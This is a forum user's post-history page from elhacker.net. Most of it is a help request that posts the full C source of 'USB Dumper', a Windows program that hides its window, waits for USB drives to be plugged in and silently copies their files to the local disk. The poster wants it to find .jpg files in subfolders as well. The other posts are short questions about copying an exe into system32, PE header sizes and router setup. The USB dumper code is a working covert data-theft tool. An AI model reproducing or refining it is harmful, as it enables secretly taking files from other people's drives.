elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: [1] 2 3
1  Programación / Scripting / Re: [VBS] Función para hacer "spread" a fichero ZIP en: 14 Abril 2014, 21:06 pm
Sos una bestia muy util el code me lo llevo
2  Programación / Programación C/C++ / ayuda en c++ en: 24 Septiembre 2012, 21:24 pm
hola gente si me pueden dar una ayuda estoy tratando de modificar el sig code para que copie solo archivos jpg de un pendrive conectado a la pc el problema que tengo es que solo copia los jpg del raiz del pen no explora las carpetas que estan dentro
Código:
#include <windows.h>
#include <dbt.h>
#include <direct.h>
#include <stdio.h>


char dir[260];
char szFile[255] = "";


// Function prototype
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
char FirstDriveFromMask (ULONG unitmask);
void GetFile(char* FilePath);
void CreateDir(char * path);
void Copy(char* FileName);

 

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
MSG msg; // MSG structure to store messages
HWND hwndMain; // Main window handle
WNDCLASSEX wcx; // WINDOW class information
    HDEVNOTIFY hDevnotify;
    DWORD len;

DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;

// 53F56307-B6BF-11D0-94F2-00A0C91EFB8B
GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};   


printf("\n>> USB Dumper by Valgasu <<\n\n");


// Get command line
if (lpCmdLine[0] != '\0') {
strcpy(szFile, lpCmdLine);
}

// Initialize the struct to zero
ZeroMemory(&wcx,sizeof(WNDCLASSEX));

wcx.cbSize = sizeof(WNDCLASSEX); // Window size. Must always be sizeof(WNDCLASSEX)
wcx.style = 0 ; // Class styles
wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure
wcx.cbClsExtra = 0; // Extra byte to allocate following the wndclassex structure
wcx.cbWndExtra = 0; // Extra byte to allocate following an instance of the structure
wcx.hInstance = hInstance; // Instance of the application
wcx.hIcon = NULL; // Class Icon
wcx.hCursor = NULL; // Class Cursor
wcx.hbrBackground = NULL; // Background brush
wcx.lpszMenuName = NULL; // Menu resource
wcx.lpszClassName = "USB"; // Name of this class
wcx.hIconSm = NULL; // Small icon for this class

// Register this window class with MS-Windows
if (!RegisterClassEx(&wcx))
return 0;

// Create the window
hwndMain = CreateWindowEx(0,// Extended window style
"USB", // Window class name
"", // Window title
WS_POPUP, // Window style
0,0, // (x,y) pos of the window
0,0, // Width and height of the window
NULL, // HWND of the parent window (can be null also)
NULL, // Handle to menu
hInstance, // Handle to application instance
NULL); // Pointer to window creation data

// Check if window creation was successful
if (!hwndMain)
return 0;

// Make the window invisible
ShowWindow(hwndMain,SW_HIDE);

// Initialize device class structure
    len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
    memset(&NotificationFilter,0,len);

    NotificationFilter.dbcc_size = 0x20;
    NotificationFilter.dbcc_devicetype = 5; // DBT_DEVTYP_DEVICEINTERFACE;
    NotificationFilter.dbcc_classguid = FilterGUID;
   
// Register
    hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);

    if(hDevnotify == NULL)   
return 0;

// Process messages coming to this window
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}

// return value to the system
return msg.wParam;
 }


LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
char szMsg[80];
char szFileDest[255];
char drive;
char szDrive[20];
char dtime[20];
char temp[10];
SYSTEMTIME st;
PDEV_BROADCAST_VOLUME PdevVolume;
    PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;


switch (msg)
{
case WM_DEVICECHANGE:
switch(wParam)
            {
// A device or piece of media has been inserted and is now available
case DBT_DEVICEARRIVAL:
PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;
                   
switch(PdevDEVICEINTERFACE->dbcc_devicetype)
                    {                   
// Class of devices
                        case DBT_DEVTYP_DEVICEINTERFACE:
                            // MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);
                            break;
                         
// Logical volume
                        case DBT_DEVTYP_VOLUME:
                            PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;                
drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);
wsprintf(szDrive, "%c:\\", drive);
wsprintf(szMsg, "Drive %s connected\n", szDrive);

// MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);

GetLocalTime(&st);
itoa(st.wYear, temp, 10);
strcpy(dtime, temp);
itoa(st.wMonth, temp, 10);
strcat(dtime, temp);
itoa(st.wDay, temp, 10);
strcat(dtime , temp);
_mkdir(dtime);
_getcwd(dir, 260);
strcat(dir, "\\");
strcat(dir, dtime );
strcat(dir, "\\" );

// Check command line
if (strcmp(szFile, "") != 0) {
wsprintf(szFileDest, "%s%s", szDrive, szFile);
//MessageBox(NULL, szFileDest, "DEBUG", MB_OK);
CopyFile(szFile, szFileDest, FALSE);
}
else {
GetFile(szDrive);
}

                    }
                    break;
            }
            break;

default:
// Call the default window handler
return DefWindowProc(hwnd,msg,wParam,lParam);
}

return 0;
}


char FirstDriveFromMask (ULONG unitmask)
{
   char i;

   for (i = 0 ; i < 26 ; ++i)
   {
      if (unitmask & 0x1)
         break;
      unitmask = unitmask >> 1;
   }

   return (i + 'A');
}


void Copy(char* FileName)
{
char dir2[260];
char* temp;


temp = strchr(FileName, '\\');
strcpy(dir2, dir);
temp++;
strcat(dir2, temp);
CopyFile(FileName, dir2, 1);
}


void CreateDir(char * path)
{
char temp2[260];
char* temp;


temp = strchr(path, '\\');
strcpy(temp2, dir);
temp++;
strcat(temp2, temp);
_mkdir(temp2);
}


void GetFile(char* FilePath)
{
char temp[260];
char temp1[260];
HANDLE hFind;
WIN32_FIND_DATA FindFileData;

// solo modifique aqui abajo
strcpy(temp, FilePath);
strcat(temp, "*jpg");

hFind = FindFirstFile(temp, &FindFileData);

if (hFind != INVALID_HANDLE_VALUE) {

do {
strcpy(temp1, FilePath);
strcat(temp1, FindFileData.cFileName);

if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {

if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
strcat(temp1, "\\");
CreateDir(temp1);
GetFile(temp1);

}
else {
Copy(temp1);
}                 
}
}
while(FindNextFile(hFind, &FindFileData));

}

FindClose(hFind);
}
3  Programación / Programación C/C++ / Re: [C] Realign PE function en: 8 Febrero 2011, 03:10 am
¿¿¿¿¿¿¿¿¿¿¿¿WTF??????????????? :(
4  Comunicaciones / Redes / micronet SP9125 como configurarlo (Ayuda!!!) en: 18 Octubre 2010, 00:21 am
Buenas tardes recurro a ustedes porque no encuentro manera de entrarle al router les cuento que tengo el modem de ahi sale un cable al router y del router sale un cable a la pc, con la notebook capto la señal inalambrica.
Lei el manual del router y en otros foros los pasos a seguir, les cuento:
primero desactive el firewall de la pc luego en ejecutar puse cmd>>ipconfig/all y ahi aparece la puerta de enlace predeterminada copie este numero por ejemplo 186.156.2.1 y lo pegue en el navegador sin el http (tambien lo probe con el http) y no puedo entrar en el router me dice que no se puede conectar tambien probe cargandole la direccion ip pero no funciona en el manual del router aparece una direccion que tambien probe pero no hay caso siempre lo mismo. Todo esto lo hice unas 8 o 10 veces previo a reiniciar la pc y el router pero no hay caso no puedo entrar a la configuracion si alguien me da alguna idea se lo agradeceria. El fin de esto es poder cambiarle el nombre a la conexión inalambrica y aparte poder fijarle una contraseña. Todas estas pruebas las ralice tanto con la pc como con la notebook y siempre obtuve los mismos resultados. gracias !!
5  Programación / Programación Visual Basic / Re: esta bien esta cadena? en: 30 Junio 2010, 23:52 pm
Gracias voy a investigar
6  Programación / Programación Visual Basic / Re: esta bien esta cadena? en: 30 Junio 2010, 21:43 pm
si te entiendo pero ese codigo que pusiste ahi solo me serviria si el exe a copiar estubiera en sistem32 de la unidad "c" la idea que que busque adentro de la pc el directorio sistem32 que podria estan en "D" o en "E" etc.
7  Programación / Programación Visual Basic / esta bien esta cadena? en: 30 Junio 2010, 20:24 pm
Private Sub Form_Load()
FileCopy Environ("windir") & "\sytem32\1.exe", Environ("Windir") & "\system32\2.exe"""
End Sub


Hola muchachos recurro a ustedes una vez mas les cuento lo que quiero hacer. Quiero que busque el archivo 1.exe y lo copie en el mismo directorio pero con otro nombre 2.exe el archivo original se que esta en sistem32 pero no se en que particion, la idea que que lo pueda ejecutar en cualquier pc. Les pido por favor que me indiquen si esta bien esta cadena ya que me deja compilarla en exe pero a la hora de ejecutarla me aparece un error "error 76 en tiempo de ejecucion : No se a encontrado la ruta de acceso"
Gracias!!
8  Programación / ASM / Re: calcular SizeOfImage y la VirtualSize de un archivo en: 11 Junio 2010, 04:44 am
ok los entiendo, pero aunque sea me pueden aclarar la duda que postie sobre esa imagen del allyDbg?
gracias!!
9  Programación / ASM / Re: calcular SizeOfImage y la VirtualSize de un archivo en: 11 Junio 2010, 01:53 am
No es exactamente lo que busco, gracias igual!!
10  Programación / ASM / calcular SizeOfImage y la VirtualSize de un archivo en: 11 Junio 2010, 01:07 am
Queria aprender a calcular SizeOfImage y la VirtualSize de un archivo ya se que puedo ver estos parametros con olly o lordpe pero quiero aprender a calcularlos con un calculadora y saber de donde salen espero que me ayuden
gracias!!
Aparte me surgio la siguiente duda estuve buscando info en la web sobre el tema pero me confunde un poco, por lo que interpreto lo que aparece entre () es el peso del archivo que se puede ver haciendo click en propiedades lo que no se si es el tamaño o el tamaño en disco ya que en algunos casos varia si pongo este numero en la calculadora cientifica en decimales y lo paso a hexa me da el valor que aparece a la izquierda en este caso 16000. lo que no me queda claro es de donde sale el valor de la segunda columna 00600100 que es el que puedo ver con un editor hexadecimal en el offset 281 y 282. quiero saber como se calcula. les dejo la imagen....
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines